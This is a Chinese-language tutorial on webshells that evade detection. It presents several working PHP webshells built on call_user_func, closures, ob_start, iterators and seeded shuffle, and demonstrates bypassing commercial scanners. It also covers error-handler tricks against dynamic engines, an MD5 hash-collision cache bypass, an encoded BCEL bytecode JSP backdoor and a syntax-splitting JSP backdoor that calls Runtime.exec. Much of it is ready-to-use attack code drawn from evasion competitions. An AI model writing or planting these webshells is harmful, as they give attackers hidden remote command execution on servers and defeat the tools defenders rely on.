目录
一、题目
1.1
1.2
1.3
1.4
1.5
二、绕过动态检测引擎的一次尝试
三、一个比赛中的webshell
四、webshell绕过的原理以及哈希碰撞
五、JSP解释流程导致的绕过(QT比赛)
5.1环境
5.2例子
一、题目
这里我们通过几道题目来给大家讲解
1.1
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
$a = call_user_func($action, ...$parameters);
我这里找了几个市面上免费的查杀webshell的软件如安全狗和河马我们先来看看安全狗下面
看看河马
当然,这只是两款免费的webshell查杀工具,当前我们算是绕过了,但如果是花钱买的,这个动态传参多半是可以监控到的,因为用户可以控制,至少免费的绕过了,如何去利用呢,call_user_func老朋友了,回调函数
首先我们看代码里面没有关键词,没有eval,assert这样的函数,首先代码call_user_func后面的...代表接收不定项参数跟我们之前的usort一样,在我之前的文章中有提到过,变长参数
那知道这个点后,我们可以直接变长参数调用,很明显躲过了webshell的查杀,究其原因就是action是system而,...$parameters是接收所有get参数
1.2
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters)($_POST['a'])($_POST['b']);
和之前的webshell不太一样多了一个($_POST['a'])和($_POST['b']),那这个代码怎么利用呢
看看字典,这个又和我们现在这个有什么关系
我们来看看current这个函数,返回当前数组当前值
那我们先这样传值看会报什么错,说少一个参数
打印一下,很明显current打印出来实际上是一个数组
那既然这样我们怎么去处理呢,这个是非常巧妙的current是返回当前数组的元素,也就是当前数组的值current,此时它就从current重新变成了current($_POST[a])($_POST[b]),变成它a是一个数组,b就是你的任意命令
除了这个解法以外还有其他解法没,将普通函数转换为闭包,其实这两个方法整体思路差不多
POST /x.php?action=Closure::fromCallable&0=Closure&1=fromCallable HTTP/1.1
Host: x
a=system&b=ls
而我们也可以看到长亭的牧云webshell社区版也是无法监测出来的
1.3
<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters);
if(count(glob(__DIR__.'/*'))>3){
readfile('flag.txt');
}
?>
底下有个flag.txt我们需要读出来,而必须文件大于3才可以读出来,那我们的目标就是创建文件
我们来看一个函数,启动或重用一个函数
由于我们call_user_func()没有自动传值,所以我们代码自动报错了,它报错给了我们一个很关键的信息,给了我们物理路径
所以我们看起session_start并把sava_path定义成它的物理路径
很明显多出来一个文件,那现在只有三个文件还是不行,肯定我们还想它再执行一个文件,cookie改一下不就可以做到,生成一个新的session文件
1.4
<?php
Class A{
static function f(){
system($_POST['a']);
}
}
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters);
我们来思考一下call_user_func可以嘛
字典说可以调用类方法下的静态方法,但是这个webshell没想到安全狗可以拦截,但是到这里如果没有waf,我们已经成功了
1.5
<?php
Class A{
static function f(string $a){
system($a);
}
}
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}
call_user_func($action, $parameters);
echo $_POST['a'];
我们来看一个函数
ob_start可以接收一个回调函数,那就证明它好像跟我们的call_user_fn差不多,那么它大概率是可以接action_ob_start&0=A&1=f
但因为其输入到缓存区了所以只可以执行命令,不能输出
二、绕过动态检测引擎的一次尝试
<?php
class xxxd implements IteratorAggregate {
public $xxx = "system";
public function __construct() {
}
public function getIterator() {
return new ArrayIterator($this);
}
}
$obj = new xxxd;
foreach($obj as $key => $value) {
$cmd = ['banana', 'orange', ...$_GET[1], 'watermelon'];
call_user_func($value,$cmd[2]);
exit();
}
首先看接口好像是一个迭代器
我们来看一下key和value在循环什么
很明显是把类里面所有的变量来进行了一个循环
我们看一下类可以打印出来嘛
我们可以看到它循环的只是我们里面的类变量
那既然如此,这道题的思路我们就有了,我们传值只需要传一个因为$vaule为system已经搞定了
但我们发现这样传值并不能搞定,因为那...其实是一个数组
?1[]=dir
之后我在思考为什么这样可以绕过去,对上⾯样本分析发现不加参数直接访问这个代码会爆出错误,因此我猜测可能在动态检测的时候由于⽆法知道参数的值,动态执⾏的时候也会爆出此错误,导致代码 不能执⾏下去,so如果我们可以找到其他的⽅法,通过传⼊参数的差异来打断动态执⾏,应该就可以绕 过,我的思路是通过过set_error_handler捕获warrning抛出致命错误
<?php
set_error_handler(function ($error_no, $error_msg, $error_file,
$error_line) {
trigger_error("xxxxxx",E_USER_ERROR);
}, E_WARNING | E_STRICT);
function xxxe(){
$gen = (function() {
yield 1;
yield $_GET[1];
return 3;
})();
foreach ($gen as $val) {
echo 1/$_GET['x'];
array_reduce(array(1),join(array_diff(["sys","tem"],[])),
($val));
header_register_callback('xxxe');
}
}
报错捕获
%那假如说我不给x提交一个错误的值,提交一个对的,很明显我已经执行了
这样的话只有完全输⼊正确的参数才可以执⾏webshell,因为动态引擎不知道它
但是我们要是不要
set_error_handler(function ($error_no, $error_msg, $error_file,
$error_line) {
trigger_error("xxxxxx",E_USER_ERROR);
}, E_WARNING | E_STRICT);
90%会被webshell查杀,因为我们需要抛异常,一报错就会中断
三、一个比赛中的webshell
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);
三句话的webshell绕过
洗牌函数
50%的成功几率,绕过原理:通过 shuffle 函数打乱只有两个元素的数组,打乱后的两种情况出现的概率是“等可能”的,因此我们有 50%的概率可以执⾏ system 函数。
那这个样本如何改进呢
洗牌操作在现实⽣活中是随机的,但是在PHP中 shuffle 函数并⾮真正意义上的随机,⽽是伪随机。我们可以“预 测”PHP中随机数的产⽣,那么我们是否能够控制 shuffle 函数打乱后的数组元素的顺序呢?答案是肯定的
通过阅读PHP源码中 php_array_data_shuffle 函数,不难发现 shuffle 函数依赖于 php_mt_rand_range ,因 此我们可以通过控制 mt_srand 随机数⽣成器播种值来控制 shuffle 函数打乱后数组元素的顺序
举个例子
随机数不变了因为我们把种子给定下了
那就证明我们的种子只要定下来,那就不会变了
<?php
$arr = array("t", "n1k0la", "webdxg", "system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
四、webshell绕过的原理以及哈希碰撞
举个例子
我这个文件index.jsp会被分拣到那个引擎呢???
<?php phpinfo();
一般我们是通过文件的后缀来进行分拣的,所有肯定分拣到java下,所以非常的安全,但是不会报读毒,但是监测缓存会把这个文件到缓存上面去,缓存的是我们文件的md5值,那这就好办了,我下次写个web.php,监测md5值一样,上次监测没问题,那这次肯定直接放行,那这样可能吗?
做个实验吧
很明显完全一模一样,这是因为md5值监测是内容,所以这样可以进行绕过的
那么,如果开发者意识到这个问题,在计算文件缓存的时候带上文件名(比如 cache_key = filename + md5(content) ),这样更换后缀就无法命中缓存了,我们如何绕过呢?
这就是第二个思路,利用哈希碰撞。
这是很容易想到的思路,既然缓存key会包含文件名和文件hash,那么我们只需要生成一个正常文件和 一个webshell,两个文件的hash完全相同,再让他们文件名相同,这样就可以命中同一个缓存了。
如何生成两个hash相同的文件? 可以参考下这个repo:https://github.com/corkami/collisions。哈希碰撞分为两种方法,Identical prefix和Chosen-prefix collisions,前者是使用同一个前缀,然后通过特定的算法爆破出两个前缀相 同,哈希也完全相同的文件;后者是使用两个不同前缀,通过特定算法爆破出分别使用了这两个前缀的 两个哈希相同的文件。
Identical prefix的速度相对较快,可以做到分钟级或秒级,但在我们这里是用不了的,因为我们需要控 制两个文件中其中一个文件包含我们需要的字符串(Webshell),另一个不能包含。而Identical prefix 的前缀是相同的,后面不同的部分又是爆破出来的,无法控制。 Chosen-prefix collisions满足我们的需求,我们可以给一个Webshell前缀,一个普通字符串前缀,然后 来爆破哈希。但这个方法速度会慢很多,实测6核12线程的CPU全速跑了6个多小时才跑出结果。当然这 个时间是可以接受的。
这个理论在gethub上面也有,这也是中国密码学顶尖教授王小云研究的成功
https://github.com/phith0n/collision-webshell
意思你前缀的第十个字符会变化
我们来进行小实验复现,但这个跑起来比较慢,大概五分钟左右,看你电脑性能
五、JSP解释流程导致的绕过(QT比赛)
5.1环境
配置完毕
5.2例子
这是一个典型的jsp后门
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<html>
<body>
<h2>BCEL字节码的JSP Webshell</h2>
<%
String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9c$fa$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A";
response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes());
%>
</body>
</html>
</html>
而我们需要分析的是另一个jsp的后门,这个代码一看大括号闭合都有问题,引擎无法解析肯定就不会拦截,那它可以运行吗?我们要达到的就是差异化绕过,引擎认为不能执行,但是我们可以执行
<%--
Created by IntelliJ IDEA.
User: 31315
Date: 2024/9/21
Time: 18:02
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String data = request.getParameter("test");
hack(data);
} catch (java.lang.Throwable t) {} finally { _jspxFactory.releasePageContext(_jspx_page_context); }
public void hack(String data) throws java.io.IOException, javax.servlet.ServletException {
javax.servlet.jsp.JspWriter out = null;
javax.servlet.jsp.JspWriter _jspx_out = null;
javax.servlet.jsp.PageContext _jspx_page_context = null;
javax.servlet.http.HttpServletResponse response = null;
try {
Runtime.getRuntime().exec(data);
%>
java中主要靠getRuntime()执行代码
我们很奇怪一件事情,明明代码中一大堆错误,运行起来却没有错误
页面没有输出我们看它有没有执行
http://127.0.0.1:8080/untitled_war/2.jsp?test=calc.exe
弹出计算机很明显执行了
那原理是什么,这个样本是青藤云第一届webshell绕过大赛qt的一个样本,可以看到,这段代码非常奇怪,大括号不成对,try没有catch,函数又没有闭合,Java语法不满足导致 IDE直接报错。但我们将这个bad.jsp放在Tomcat Web目录下,访问却可以正常执行命令
原因就是,这段JSP代码会被拼接进一个Java源文件里。我们可以在Tomcat的临时目录 work/Catalina/localhost/webshell/org/apache/jsp 找到这个拼接出的.java文件:
可见,我jsp中的Java代码拼接到源文件后:大括号是成对的,try后面其实有catch,函数最后也闭合 了。 我做的事情就是硬生生地将原本的一个函数拆成两个。这样在jsp中看来,我的代码是有语法问题的,它 包含一个函数的下半部分,和另一个函数的上半部分;但这段代码拼接进Java源文件后,这两半部分都 分别正确闭合了,解析不会有问题。 所以,如果一个Webshell检测引擎单纯查看并解析JSP的语法,没有考虑JSP的解析与执行过程,将会因 为解析一个“错误语法”的JSP文件而认为这个文件是安全的,但实际上它是一个Webshell。
用一张图来解释,真正出问题的地方在java file因为产生了一个拼接